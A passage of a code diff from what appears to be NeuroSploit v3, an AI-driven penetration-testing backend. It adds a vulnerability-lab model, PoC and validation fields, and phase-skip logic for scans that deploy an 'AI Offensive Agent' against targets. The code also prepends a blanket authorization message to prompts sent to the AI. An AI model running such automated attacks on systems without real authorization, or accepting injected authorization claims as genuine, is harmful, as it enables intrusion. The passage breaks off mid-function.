|
||||
print(f"Scheduler init skipped: {e}")
|
||||
app.state.scheduler = None
|
||||
|
||||
# Cleanup orphan sandbox containers from previous crashes
|
||||
try:
|
||||
from core.container_pool import get_pool
|
||||
pool = get_pool()
|
||||
await pool.cleanup_orphans()
|
||||
print("Sandbox pool initialized (orphan cleanup done)")
|
||||
except Exception as e:
|
||||
print(f"Sandbox pool init skipped: {e}")
|
||||
|
||||
yield
|
||||
|
||||
# Shutdown
|
||||
# Destroy all per-scan sandbox containers
|
||||
try:
|
||||
from core.container_pool import get_pool
|
||||
await get_pool().cleanup_all()
|
||||
print("Sandbox containers cleaned up")
|
||||
except Exception:
|
||||
pass
|
||||
if hasattr(app.state, 'scheduler') and app.state.scheduler:
|
||||
app.state.scheduler.stop()
|
||||
print("Shutting down...")
|
||||
await close_db()
|
||||
|
||||
@@ -60,6 +96,10 @@ app.include_router(vulnerabilities.router, prefix="/api/v1/vulnerabilities", tag
|
||||
app.include_router(settings_router.router, prefix="/api/v1/settings", tags=["Settings"])
|
||||
app.include_router(agent.router, prefix="/api/v1/agent", tags=["AI Agent"])
|
||||
app.include_router(agent_tasks.router, prefix="/api/v1/agent-tasks", tags=["Agent Tasks"])
|
||||
app.include_router(scheduler.router, prefix="/api/v1/scheduler", tags=["Scheduler"])
|
||||
app.include_router(vuln_lab.router, prefix="/api/v1/vuln-lab", tags=["Vulnerability Lab"])
|
||||
app.include_router(terminal.router, prefix="/api/v1/terminal", tags=["Terminal Agent"])
|
||||
app.include_router(sandbox.router, prefix="/api/v1/sandbox", tags=["Sandbox"])
|
||||
|
||||
|
||||
@app.get("/api/health")
|
||||
|
||||
@@ -5,6 +5,7 @@ from backend.models.endpoint import Endpoint
|
||||
from backend.models.vulnerability import Vulnerability, VulnerabilityTest
|
||||
from backend.models.report import Report
|
||||
from backend.models.agent_task import AgentTask
|
||||
from backend.models.vuln_lab import VulnLabChallenge
|
||||
|
||||
__all__ = [
|
||||
"Scan",
|
||||
@@ -14,5 +15,6 @@ __all__ = [
|
||||
"Vulnerability",
|
||||
"VulnerabilityTest",
|
||||
"Report",
|
||||
"AgentTask"
|
||||
"AgentTask",
|
||||
"VulnLabChallenge"
|
||||
]
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
"""
|
||||
NeuroSploit v3 - Vulnerability Lab Challenge Model
|
||||
|
||||
Tracks isolated vulnerability testing sessions (labs, CTFs, PortSwigger, etc.)
|
||||
"""
|
||||
from datetime import datetime
|
||||
from typing import Optional, List
|
||||
from sqlalchemy import String, Integer, Float, Boolean, DateTime, Text, JSON, ForeignKey
|
||||
from sqlalchemy.orm import Mapped, mapped_column
|
||||
from backend.db.database import Base
|
||||
import uuid
|
||||
|
||||
|
||||
class VulnLabChallenge(Base):
|
||||
"""Individual vulnerability lab/challenge test record"""
|
||||
__tablename__ = "vuln_lab_challenges"
|
||||
|
||||
id: Mapped[str] = mapped_column(String(36), primary_key=True, default=lambda: str(uuid.uuid4()))
|
||||
|
||||
# Target info
|
||||
target_url: Mapped[str] = mapped_column(Text)
|
||||
challenge_name: Mapped[Optional[str]] = mapped_column(String(255), nullable=True)
|
||||
|
||||
# Vulnerability scope
|
||||
vuln_type: Mapped[str] = mapped_column(String(100)) # e.g. xss_reflected, sqli_union
|
||||
vuln_category: Mapped[Optional[str]] = mapped_column(String(50), nullable=True) # injection, auth, client_side, etc.
|
||||
|
||||
# Authentication
|
||||
auth_type: Mapped[Optional[str]] = mapped_column(String(20), nullable=True) # cookie, bearer, basic, header
|
||||
auth_value: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
|
||||
|
||||
# Execution state
|
||||
status: Mapped[str] = mapped_column(String(20), default="pending") # pending, running, completed, failed, stopped
|
||||
result: Mapped[Optional[str]] = mapped_column(String(20), nullable=True) # detected, not_detected, error
|
||||
|
||||
# Agent linkage
|
||||
agent_id: Mapped[Optional[str]] = mapped_column(String(36), nullable=True)
|
||||
scan_id: Mapped[Optional[str]] = mapped_column(String(36), nullable=True)
|
||||
|
||||
# Results
|
||||
findings_count: Mapped[int] = mapped_column(Integer, default=0)
|
||||
critical_count: Mapped[int] = mapped_column(Integer, default=0)
|
||||
high_count: Mapped[int] = mapped_column(Integer, default=0)
|
||||
medium_count: Mapped[int] = mapped_column(Integer, default=0)
|
||||
low_count: Mapped[int] = mapped_column(Integer, default=0)
|
||||
info_count: Mapped[int] = mapped_column(Integer, default=0)
|
||||
|
||||
# Findings detail (JSON list of finding summaries)
|
||||
findings_detail: Mapped[List] = mapped_column(JSON, default=list)
|
||||
|
||||
# Timing
|
||||
started_at: Mapped[Optional[datetime]] = mapped_column(DateTime, nullable=True)
|
||||
completed_at: Mapped[Optional[datetime]] = mapped_column(DateTime, nullable=True)
|
||||
duration: Mapped[Optional[int]] = mapped_column(Integer, nullable=True) # seconds
|
||||
|
||||
# Notes
|
||||
notes: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
|
||||
|
||||
# Logs (JSON list of log entries persisted after completion)
|
||||
logs: Mapped[List] = mapped_column(JSON, default=list)
|
||||
|
||||
# Endpoints discovered count
|
||||
endpoints_count: Mapped[int] = mapped_column(Integer, default=0)
|
||||
|
||||
# Timestamps
|
||||
created_at: Mapped[datetime] = mapped_column(DateTime, default=datetime.utcnow)
|
||||
|
||||
def to_dict(self) -> dict:
|
||||
return {
|
||||
"id": self.id,
|
||||
"target_url": self.target_url,
|
||||
"challenge_name": self.challenge_name,
|
||||
"vuln_type": self.vuln_type,
|
||||
"vuln_category": self.vuln_category,
|
||||
"auth_type": self.auth_type,
|
||||
"status": self.status,
|
||||
"result": self.result,
|
||||
"agent_id": self.agent_id,
|
||||
"scan_id": self.scan_id,
|
||||
"findings_count": self.findings_count,
|
||||
"critical_count": self.critical_count,
|
||||
"high_count": self.high_count,
|
||||
"medium_count": self.medium_count,
|
||||
"low_count": self.low_count,
|
||||
"info_count": self.info_count,
|
||||
"findings_detail": self.findings_detail or [],
|
||||
"started_at": self.started_at.isoformat() if self.started_at else None,
|
||||
"completed_at": self.completed_at.isoformat() if self.completed_at else None,
|
||||
"duration": self.duration,
|
||||
"notes": self.notes,
|
||||
"logs": self.logs or [],
|
||||
"endpoints_count": self.endpoints_count,
|
||||
"created_at": self.created_at.isoformat() if self.created_at else None,
|
||||
}
|
||||
@@ -87,6 +87,21 @@ class Vulnerability(Base):
|
||||
# AI Analysis
|
||||
ai_analysis: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
|
||||
|
||||
# PoC Code (executable proof-of-concept: HTML, Python, curl, etc.)
|
||||
poc_code: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
|
||||
|
||||
# Screenshots (list of base64 data URIs or filesystem paths)
|
||||
screenshots: Mapped[List] = mapped_column(JSON, default=list)
|
||||
|
||||
# Source URL and parameter (for finding_id reconstruction)
|
||||
url: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
|
||||
parameter: Mapped[Optional[str]] = mapped_column(String(500), nullable=True)
|
||||
|
||||
# Validation status (manual review workflow)
|
||||
validation_status: Mapped[str] = mapped_column(String(20), default="ai_confirmed")
|
||||
# Values: "ai_confirmed" | "ai_rejected" | "validated" | "false_positive" | "pending_review"
|
||||
ai_rejection_reason: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
|
||||
|
||||
# Timestamps
|
||||
created_at: Mapped[datetime] = mapped_column(DateTime, default=datetime.utcnow)
|
||||
|
||||
@@ -116,5 +131,11 @@ class Vulnerability(Base):
|
||||
"remediation": self.remediation,
|
||||
"references": self.references,
|
||||
"ai_analysis": self.ai_analysis,
|
||||
"poc_code": self.poc_code,
|
||||
"screenshots": self.screenshots or [],
|
||||
"url": self.url,
|
||||
"parameter": self.parameter,
|
||||
"validation_status": self.validation_status or "ai_confirmed",
|
||||
"ai_rejection_reason": self.ai_rejection_reason,
|
||||
"created_at": self.created_at.isoformat() if self.created_at else None
|
||||
}
|
||||
|
||||
@@ -23,6 +23,9 @@ python-jose[cryptography]>=3.3.0
|
||||
jinja2>=3.1.0
|
||||
weasyprint>=60.0; platform_system != "Windows"
|
||||
|
||||
# Scheduling
|
||||
apscheduler>=3.10.0
|
||||
|
||||
# Development
|
||||
httpx>=0.26.0
|
||||
pytest>=7.4.0
|
||||
|
||||
+319
-213
@@ -29,6 +29,39 @@ from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine
|
||||
from backend.core.vuln_engine.payload_generator import PayloadGenerator
|
||||
from backend.core.autonomous_scanner import AutonomousScanner
|
||||
from backend.core.ai_pentest_agent import AIPentestAgent
|
||||
from backend.core.ai_prompt_processor import TestingPlan
|
||||
|
||||
|
||||
# Phase control: signaling between API and running background tasks
|
||||
_scan_phase_control: Dict[str, str] = {} # scan_id → target_phase
|
||||
PHASE_ORDER = ["initializing", "recon", "analyzing", "testing", "completed"]
|
||||
|
||||
|
||||
def skip_to_phase(scan_id: str, target_phase: str) -> bool:
|
||||
"""Signal a running scan to skip ahead to the given phase."""
|
||||
if target_phase not in PHASE_ORDER:
|
||||
return False
|
||||
_scan_phase_control[scan_id] = target_phase
|
||||
return True
|
||||
|
||||
|
||||
def _default_skip_plan() -> "TestingPlan":
|
||||
"""Default testing plan used when analysis phase is skipped."""
|
||||
return TestingPlan(
|
||||
vulnerability_types=[
|
||||
"xss_reflected", "sqli_error", "sqli_blind", "command_injection",
|
||||
"lfi", "path_traversal", "ssrf", "auth_bypass", "idor",
|
||||
"cors_misconfiguration", "open_redirect", "missing_security_headers",
|
||||
"rfi", "csrf", "xxe", "ssti"
|
||||
],
|
||||
testing_focus=["Comprehensive vulnerability assessment (analysis phase skipped)"],
|
||||
custom_payloads=[],
|
||||
testing_depth="medium",
|
||||
specific_endpoints=[],
|
||||
bypass_techniques=[],
|
||||
priority_order=["SQL Injection", "XSS", "Command Injection", "SSRF", "Authentication"],
|
||||
ai_reasoning="Default testing plan - AI analysis phase was skipped by user"
|
||||
)
|
||||
|
||||
|
||||
# Global authorization message for AI
|
||||
@@ -72,6 +105,21 @@ class ScanService:
|
||||
self.payload_generator = PayloadGenerator()
|
||||
self._stop_requested = False
|
||||
|
||||
def _should_skip_phase(self, scan_id: str, current_phase: str) -> Optional[str]:
|
||||
"""Check if the scan should skip ahead to a different phase.
|
||||
Returns the target phase if skip is needed, None otherwise."""
|
||||
target = _scan_phase_control.pop(scan_id, None)
|
||||
if not target:
|
||||
return None
|
||||
try:
|
||||
cur_idx = PHASE_ORDER.index(current_phase)
|
||||
tgt_idx = PHASE_ORDER.index(target)
|
||||
if tgt_idx > cur_idx:
|
||||
return target
|
||||
except ValueError:
|
||||
pass
|
||||
return None
|
||||
|
||||
async def _create_agent_task(
|
||||
self,
|
||||
scan_id: str,
|
||||
@@ -192,7 +240,19 @@ class ScanService:
|
||||
|
||||
# Phase 1: REAL Reconnaissance (if enabled)
|
||||
recon_data = {}
|
||||
if scan.recon_enabled:
|
||||
skip_target = self._should_skip_phase(scan_id, "initializing")
|
||||
recon_skipped = False
|
||||
if skip_target:
|
||||
# User requested skip from initializing
|
||||
skip_idx = PHASE_ORDER.index(skip_target)
|
||||
if skip_idx >= PHASE_ORDER.index("recon"):
|
||||
recon_skipped = True
|
||||
await ws_manager.broadcast_log(scan_id, "warning", "")
|
||||
await ws_manager.broadcast_log(scan_id, "warning", ">> PHASE SKIPPED: Reconnaissance (user request)")
|
||||
await ws_manager.broadcast_phase_change(scan_id, "recon_skipped")
|
||||
scan.recon_enabled = False
|
||||
|
||||
if scan.recon_enabled and not recon_skipped:
|
||||
scan.current_phase = "recon"
|
||||
await self.db.commit()
|
||||
await ws_manager.broadcast_phase_change(scan_id, "recon")
|
||||
@@ -356,247 +416,293 @@ class ScanService:
|
||||
await self.db.commit()
|
||||
await ws_manager.broadcast_log(scan_id, "info", f"Autonomous discovery complete. Total endpoints: {scan.total_endpoints}")
|
||||
|
||||
# Phase 2: AI Prompt Processing
|
||||
scan.current_phase = "analyzing"
|
||||
await self.db.commit()
|
||||
await ws_manager.broadcast_phase_change(scan_id, "analyzing")
|
||||
await ws_manager.broadcast_progress(scan_id, 40, "AI analyzing prompt and data...")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
|
||||
await ws_manager.broadcast_log(scan_id, "info", "PHASE 2: AI ANALYSIS")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
|
||||
# Check for phase skip before analysis
|
||||
skip_target = self._should_skip_phase(scan_id, "recon") or (skip_target if skip_target and PHASE_ORDER.index(skip_target) >= PHASE_ORDER.index("analyzing") else None)
|
||||
analysis_skipped = False
|
||||
testing_plan = None
|
||||
|
||||
# Create AI analysis task
|
||||
analysis_task = await self._create_agent_task(
|
||||
scan_id=scan_id,
|
||||
task_type="analysis",
|
||||
task_name="AI Strategy Analysis",
|
||||
if skip_target and PHASE_ORDER.index(skip_target) >= PHASE_ORDER.index("analyzing"):
|
||||
analysis_skipped = True
|
||||
testing_plan = _default_skip_plan()
|
||||
await ws_manager.broadcast_log(scan_id, "warning", "")
|
||||
await ws_manager.broadcast_log(scan_id, "warning", ">> PHASE SKIPPED: AI Analysis (user request)")
|
||||
await ws_manager.broadcast_log(scan_id, "info", f"Using default testing plan with {len(testing_plan.vulnerability_types)} vulnerability types")
|
||||
await ws_manager.broadcast_phase_change(scan_id, "analyzing_skipped")
|
||||
|
||||
if skip_target == "completed":
|
||||
# User wants to skip everything - finalize
|
||||
self._stop_requested = True
|
||||
|
||||
if not analysis_skipped:
|
||||
# Phase 2: AI Prompt Processing
|
||||
scan.current_phase = "analyzing"
|
||||
await self.db.commit()
|
||||
await ws_manager.broadcast_phase_change(scan_id, "analyzing")
|
||||
await ws_manager.broadcast_progress(scan_id, 40, "AI analyzing prompt and data...")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
|
||||
await ws_manager.broadcast_log(scan_id, "info", "PHASE 2: AI ANALYSIS")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
|
||||
|
||||
if not analysis_skipped:
|
||||
# Create AI analysis task
|
||||
analysis_task = await self._create_agent_task(
|
||||
scan_id=scan_id,
|
||||
task_type="analysis",
|
||||
task_name="AI Strategy Analysis",
|
||||
description="Analyzing prompt and recon data to determine testing strategy",
|
||||
tool_name="ai_prompt_processor",
|
||||
tool_category="ai"
|
||||
)
|
||||
|
||||
try:
|
||||
# Enhance prompt with authorization
|
||||
enhanced_prompt = f"{GLOBAL_AUTHORIZATION}\n\nUSER REQUEST:\n{prompt_content}"
|
||||
try:
|
||||
# Enhance prompt with authorization
|
||||
enhanced_prompt = f"{GLOBAL_AUTHORIZATION}\n\nUSER REQUEST:\n{prompt_content}"
|
||||
|
||||
# Get AI-generated testing plan
|
||||
await ws_manager.broadcast_log(scan_id, "info", "AI processing prompt and determining attack strategy...")
|
||||
# Get AI-generated testing plan
|
||||
await ws_manager.broadcast_log(scan_id, "info", "AI processing prompt and determining attack strategy...")
|
||||
|
||||
testing_plan = await self.ai_processor.process_prompt(
|
||||
prompt=enhanced_prompt,
|
||||
recon_data=recon_data,
|
||||
target_info={"targets": [t.url for t in targets]}
|
||||
)
|
||||
testing_plan = await self.ai_processor.process_prompt(
|
||||
prompt=enhanced_prompt,
|
||||
recon_data=recon_data,
|
||||
target_info={"targets": [t.url for t in targets]}
|
||||
)
|
||||
|
||||
await ws_manager.broadcast_log(scan_id, "info", "")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "AI TESTING PLAN:")
|
||||
await ws_manager.broadcast_log(scan_id, "info", f" Vulnerability Types: {', '.join(testing_plan.vulnerability_types[:10])}")
|
||||
if len(testing_plan.vulnerability_types) > 10:
|
||||
await ws_manager.broadcast_log(scan_id, "info", f" ... and {len(testing_plan.vulnerability_types) - 10} more types")
|
||||
await ws_manager.broadcast_log(scan_id, "info", f" Testing Focus: {', '.join(testing_plan.testing_focus[:5])}")
|
||||
await ws_manager.broadcast_log(scan_id, "info", f" Depth: {testing_plan.testing_depth}")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "")
|
||||
await ws_manager.broadcast_log(scan_id, "info", f"AI Reasoning: {testing_plan.ai_reasoning[:300]}...")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "AI TESTING PLAN:")
|
||||
await ws_manager.broadcast_log(scan_id, "info", f" Vulnerability Types: {', '.join(testing_plan.vulnerability_types[:10])}")
|
||||
if len(testing_plan.vulnerability_types) > 10:
|
||||
await ws_manager.broadcast_log(scan_id, "info", f" ... and {len(testing_plan.vulnerability_types) - 10} more types")
|
||||
await ws_manager.broadcast_log(scan_id, "info", f" Testing Focus: {', '.join(testing_plan.testing_focus[:5])}")
|
||||
await ws_manager.broadcast_log(scan_id, "info", f" Depth: {testing_plan.testing_depth}")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "")
|
||||
await ws_manager.broadcast_log(scan_id, "info", f"AI Reasoning: {testing_plan.ai_reasoning[:300]}...")
|
||||
|
||||
await self._complete_agent_task(
|
||||
analysis_task,
|
||||
items_processed=1,
|
||||
items_found=len(testing_plan.vulnerability_types),
|
||||
summary=f"Generated testing plan with {len(testing_plan.vulnerability_types)} vulnerability types"
|
||||
)
|
||||
except Exception as e:
|
||||
await self._fail_agent_task(analysis_task, str(e))
|
||||
raise
|
||||
await self._complete_agent_task(
|
||||
analysis_task,
|
||||
items_processed=1,
|
||||
items_found=len(testing_plan.vulnerability_types),
|
||||
summary=f"Generated testing plan with {len(testing_plan.vulnerability_types)} vulnerability types"
|
||||
)
|
||||
except Exception as e:
|
||||
await self._fail_agent_task(analysis_task, str(e))
|
||||
raise
|
||||
|
||||
# Ensure testing_plan exists (either from AI or default skip plan)
|
||||
if testing_plan is None:
|
||||
testing_plan = _default_skip_plan()
|
||||
|
||||
await ws_manager.broadcast_progress(scan_id, 45, f"Testing {len(testing_plan.vulnerability_types)} vuln types")
|
||||
|
||||
# Phase 3: AI OFFENSIVE AGENT
|
||||
scan.current_phase = "testing"
|
||||
await self.db.commit()
|
||||
await ws_manager.broadcast_phase_change(scan_id, "testing")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
|
||||
await ws_manager.broadcast_log(scan_id, "info", "PHASE 3: AI OFFENSIVE AGENT")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
|
||||
|
||||
# Run the AI Offensive Agent for each target
|
||||
for target in targets:
|
||||
await ws_manager.broadcast_log(scan_id, "info", f"Deploying AI Agent on: {target.url}")
|
||||
|
||||
# Create AI pentest agent task
|
||||
agent_task = await self._create_agent_task(
|
||||
scan_id=scan_id,
|
||||
task_type="testing",
|
||||
task_name=f"AI Pentest Agent: {target.hostname or target.url[:30]}",
|
||||
description=f"AI-powered penetration testing on {target.url}",
|
||||
tool_name="ai_pentest_agent",
|
||||
tool_category="ai"
|
||||
)
|
||||
|
||||
try:
|
||||
# Create log callback for the agent
|
||||
async def agent_log(level: str, message: str):
|
||||
await ws_manager.broadcast_log(scan_id, level, message)
|
||||
|
||||
# Build auth headers
|
||||
auth_headers = self._build_auth_headers(scan)
|
||||
|
||||
findings_count = 0
|
||||
endpoints_tested = 0
|
||||
|
||||
async with AIPentestAgent(
|
||||
target=target.url,
|
||||
log_callback=agent_log,
|
||||
auth_headers=auth_headers,
|
||||
max_depth=5
|
||||
) as agent:
|
||||
agent_report = await agent.run()
|
||||
|
||||
# Save agent findings as vulnerabilities
|
||||
for finding in agent_report.get("findings", []):
|
||||
finding_severity = finding["severity"]
|
||||
vuln = Vulnerability(
|
||||
scan_id=scan_id,
|
||||
title=f"{finding['type'].upper()} - {finding['endpoint'][:50]}",
|
||||
vulnerability_type=finding["type"],
|
||||
severity=finding_severity,
|
||||
description=finding["evidence"],
|
||||
affected_endpoint=finding["endpoint"],
|
||||
poc_payload=finding["payload"],
|
||||
poc_request=finding.get("raw_request", "")[:5000],
|
||||
poc_response=finding.get("raw_response", "")[:5000],
|
||||
remediation=finding.get("impact", ""),
|
||||
ai_analysis="\n".join(finding.get("exploitation_steps", []))
|
||||
)
|
||||
self.db.add(vuln)
|
||||
await self.db.flush() # Ensure ID is assigned
|
||||
findings_count += 1
|
||||
|
||||
# Increment vulnerability count
|
||||
await self._increment_vulnerability_count(scan, finding_severity)
|
||||
|
||||
await ws_manager.broadcast_vulnerability_found(scan_id, {
|
||||
"id": vuln.id,
|
||||
"title": vuln.title,
|
||||
"severity": vuln.severity,
|
||||
"type": finding["type"],
|
||||
"endpoint": finding["endpoint"]
|
||||
})
|
||||
|
||||
# Update endpoint count
|
||||
endpoints_tested = agent_report.get("summary", {}).get("total_endpoints", 0)
|
||||
scan.total_endpoints += endpoints_tested
|
||||
|
||||
await self._complete_agent_task(
|
||||
agent_task,
|
||||
items_processed=endpoints_tested,
|
||||
items_found=findings_count,
|
||||
summary=f"Tested {endpoints_tested} endpoints, found {findings_count} vulnerabilities"
|
||||
)
|
||||
except Exception as e:
|
||||
await self._fail_agent_task(agent_task, str(e))
|
||||
# Check for phase skip before testing
|
||||
skip_target = self._should_skip_phase(scan_id, "analyzing")
|
||||
testing_skipped = False
|
||||
if skip_target and PHASE_ORDER.index(skip_target) >= PHASE_ORDER.index("testing"):
|
||||
if skip_target == "completed":
|
||||
testing_skipped = True
|
||||
self._stop_requested = True
|
||||
await ws_manager.broadcast_log(scan_id, "warning", "")
|
||||
await ws_manager.broadcast_log(scan_id, "warning", ">> PHASE SKIPPED: Testing (user request - jumping to completion)")
|
||||
await ws_manager.broadcast_phase_change(scan_id, "testing_skipped")
|
||||
|
||||
if not testing_skipped:
|
||||
# Phase 3: AI OFFENSIVE AGENT
|
||||
scan.current_phase = "testing"
|
||||
await self.db.commit()
|
||||
await ws_manager.broadcast_phase_change(scan_id, "testing")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
|
||||
await ws_manager.broadcast_log(scan_id, "info", "PHASE 3: AI OFFENSIVE AGENT")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
|
||||
|
||||
# Continue with additional AI-driven testing
|
||||
|
||||
# Get all endpoints to test
|
||||
endpoints_result = await self.db.execute(
|
||||
select(Endpoint).where(Endpoint.scan_id == scan_id)
|
||||
)
|
||||
endpoints = list(endpoints_result.scalars().all())
|
||||
|
||||
# Add URLs from recon as endpoints
|
||||
for url in recon_data.get("urls", [])[:100]: # Test up to 100 URLs
|
||||
if "?" in url and url not in [e.url for e in endpoints]:
|
||||
endpoint = Endpoint(
|
||||
scan_id=scan_id,
|
||||
url=url,
|
||||
method="GET",
|
||||
path=url.split("?")[0].split("/")[-1] if "/" in url else "/"
|
||||
)
|
||||
self.db.add(endpoint)
|
||||
endpoints.append(endpoint)
|
||||
await self.db.commit()
|
||||
|
||||
# If STILL no endpoints, create from targets with common paths
|
||||
if not endpoints:
|
||||
await ws_manager.broadcast_log(scan_id, "warning", "No endpoints found. Creating test endpoints from targets...")
|
||||
common_paths = [
|
||||
"/", "/login", "/admin", "/api", "/search", "/user",
|
||||
"/?id=1", "/?page=1", "/?q=test", "/?search=test"
|
||||
]
|
||||
# Run the AI Offensive Agent for each target
|
||||
for target in targets:
|
||||
for path in common_paths:
|
||||
url = target.url.rstrip("/") + path
|
||||
await ws_manager.broadcast_log(scan_id, "info", f"Deploying AI Agent on: {target.url}")
|
||||
|
||||
# Create AI pentest agent task
|
||||
agent_task = await self._create_agent_task(
|
||||
scan_id=scan_id,
|
||||
task_type="testing",
|
||||
task_name=f"AI Pentest Agent: {target.hostname or target.url[:30]}",
|
||||
description=f"AI-powered penetration testing on {target.url}",
|
||||
tool_name="ai_pentest_agent",
|
||||
tool_category="ai"
|
||||
)
|
||||
|
||||
try:
|
||||
# Create log callback for the agent
|
||||
async def agent_log(level: str, message: str):
|
||||
await ws_manager.broadcast_log(scan_id, level, message)
|
||||
|
||||
# Build auth headers
|
||||
auth_headers = self._build_auth_headers(scan)
|
||||
|
||||
findings_count = 0
|
||||
endpoints_tested = 0
|
||||
|
||||
async with AIPentestAgent(
|
||||
target=target.url,
|
||||
log_callback=agent_log,
|
||||
auth_headers=auth_headers,
|
||||
max_depth=5
|
||||
) as agent:
|
||||
agent_report = await agent.run()
|
||||
|
||||
# Save agent findings as vulnerabilities
|
||||
for finding in agent_report.get("findings", []):
|
||||
finding_severity = finding["severity"]
|
||||
vuln = Vulnerability(
|
||||
scan_id=scan_id,
|
||||
title=f"{finding['type'].upper()} - {finding['endpoint'][:50]}",
|
||||
vulnerability_type=finding["type"],
|
||||
severity=finding_severity,
|
||||
description=finding["evidence"],
|
||||
affected_endpoint=finding["endpoint"],
|
||||
poc_payload=finding["payload"],
|
||||
poc_request=finding.get("raw_request", "")[:5000],
|
||||
poc_response=finding.get("raw_response", "")[:5000],
|
||||
remediation=finding.get("impact", ""),
|
||||
ai_analysis="\n".join(finding.get("exploitation_steps", []))
|
||||
)
|
||||
self.db.add(vuln)
|
||||
await self.db.flush() # Ensure ID is assigned
|
||||
findings_count += 1
|
||||
|
||||
# Increment vulnerability count
|
||||
await self._increment_vulnerability_count(scan, finding_severity)
|
||||
|
||||
await ws_manager.broadcast_vulnerability_found(scan_id, {
|
||||
"id": vuln.id,
|
||||
"title": vuln.title,
|
||||
"severity": vuln.severity,
|
||||
"type": finding["type"],
|
||||
"endpoint": finding["endpoint"]
|
||||
})
|
||||
|
||||
# Update endpoint count
|
||||
endpoints_tested = agent_report.get("summary", {}).get("total_endpoints", 0)
|
||||
scan.total_endpoints += endpoints_tested
|
||||
|
||||
await self._complete_agent_task(
|
||||
agent_task,
|
||||
items_processed=endpoints_tested,
|
||||
items_found=findings_count,
|
||||
summary=f"Tested {endpoints_tested} endpoints, found {findings_count} vulnerabilities"
|
||||
)
|
||||
except Exception as e:
|
||||
await self._fail_agent_task(agent_task, str(e))
|
||||
|
||||
await self.db.commit()
|
||||
|
||||
# Continue with additional AI-driven testing
|
||||
|
||||
# Get all endpoints to test
|
||||
endpoints_result = await self.db.execute(
|
||||
select(Endpoint).where(Endpoint.scan_id == scan_id)
|
||||
)
|
||||
endpoints = list(endpoints_result.scalars().all())
|
||||
|
||||
# Add URLs from recon as endpoints
|
||||
for url in recon_data.get("urls", [])[:100]: # Test up to 100 URLs
|
||||
if "?" in url and url not in [e.url for e in endpoints]:
|
||||
endpoint = Endpoint(
|
||||
scan_id=scan_id,
|
||||
target_id=target.id,
|
||||
url=url,
|
||||
method="GET",
|
||||
path=path
|
||||
path=url.split("?")[0].split("/")[-1] if "/" in url else "/"
|
||||
)
|
||||
self.db.add(endpoint)
|
||||
endpoints.append(endpoint)
|
||||
scan.total_endpoints += 1
|
||||
await self.db.commit()
|
||||
|
||||
await ws_manager.broadcast_log(scan_id, "info", f"Testing {len(endpoints)} endpoints for {len(testing_plan.vulnerability_types)} vuln types")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "")
|
||||
# If STILL no endpoints, create from targets with common paths
|
||||
if not endpoints:
|
||||
await ws_manager.broadcast_log(scan_id, "warning", "No endpoints found. Creating test endpoints from targets...")
|
||||
common_paths = [
|
||||
"/", "/login", "/admin", "/api", "/search", "/user",
|
||||
"/?id=1", "/?page=1", "/?q=test", "/?search=test"
|
||||
]
|
||||
for target in targets:
|
||||
for path in common_paths:
|
||||
url = target.url.rstrip("/") + path
|
||||
endpoint = Endpoint(
|
||||
scan_id=scan_id,
|
||||
target_id=target.id,
|
||||
url=url,
|
||||
method="GET",
|
||||
path=path
|
||||
)
|
||||
self.db.add(endpoint)
|
||||
endpoints.append(endpoint)
|
||||
scan.total_endpoints += 1
|
||||
await self.db.commit()
|
||||
|
||||
# Create vulnerability testing task
|
||||
vuln_testing_task = await self._create_agent_task(
|
||||
scan_id=scan_id,
|
||||
task_type="testing",
|
||||
task_name="Vulnerability Testing",
|
||||
description=f"Testing {len(endpoints)} endpoints for {len(testing_plan.vulnerability_types)} vulnerability types",
|
||||
tool_name="dynamic_vuln_engine",
|
||||
tool_category="scanner"
|
||||
)
|
||||
await ws_manager.broadcast_log(scan_id, "info", f"Testing {len(endpoints)} endpoints for {len(testing_plan.vulnerability_types)} vuln types")
|
||||
await ws_manager.broadcast_log(scan_id, "info", "")
|
||||
|
||||
try:
|
||||
# Test endpoints with AI-determined vulnerabilities
|
||||
total_endpoints = len(endpoints)
|
||||
endpoints_tested = 0
|
||||
vulns_before = scan.total_vulnerabilities
|
||||
|
||||
async with DynamicVulnerabilityEngine() as engine:
|
||||
for i, endpoint in enumerate(endpoints):
|
||||
if self._stop_requested:
|
||||
break
|
||||
|
||||
progress = 45 + int((i / total_endpoints) * 45)
|
||||
await ws_manager.broadcast_progress(
|
||||
scan_id, progress,
|
||||
f"Testing {i+1}/{total_endpoints}: {endpoint.path or endpoint.url[:50]}"
|
||||
)
|
||||
|
||||
# Log what we're testing
|
||||
await ws_manager.broadcast_log(scan_id, "debug", f"[{i+1}/{total_endpoints}] Testing: {endpoint.url[:80]}")
|
||||
|
||||
await self._test_endpoint_with_ai(
|
||||
scan=scan,
|
||||
endpoint=endpoint,
|
||||
testing_plan=testing_plan,
|
||||
engine=engine,
|
||||
recon_data=recon_data
|
||||
)
|
||||
endpoints_tested += 1
|
||||
|
||||
# Update final counts
|
||||
await self._update_vulnerability_counts(scan)
|
||||
|
||||
vulns_found = scan.total_vulnerabilities - vulns_before
|
||||
await self._complete_agent_task(
|
||||
vuln_testing_task,
|
||||
items_processed=endpoints_tested,
|
||||
items_found=vulns_found,
|
||||
